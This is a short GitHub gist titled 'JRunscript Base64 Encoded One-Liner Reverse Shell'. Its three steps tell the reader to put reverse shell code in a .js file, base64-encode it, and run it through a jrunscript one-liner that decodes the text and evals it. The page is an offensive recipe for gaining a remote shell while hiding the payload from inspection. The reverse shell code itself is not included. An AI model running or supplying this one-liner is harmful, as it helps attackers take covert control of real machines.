Skip to content

Instantly share code, notes, and snippets.

@h4wkst3r
Created April 18, 2018 01:20
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save h4wkst3r/d6fa08e41bdcb591909c5f93b5f1716a to your computer and use it in GitHub Desktop.
Save h4wkst3r/d6fa08e41bdcb591909c5f93b5f1716a to your computer and use it in GitHub Desktop.
JRunscript Base64 Encoded One-Liner Reverse Shell
1. Create file with reverse shell code and name it <file name>.js
2. Get base64 representation of file
cat <file name> | base64
3. Insert base64 text into one-liner shown below and run
jrunscript -e "eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary('base64EncodedText')));"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment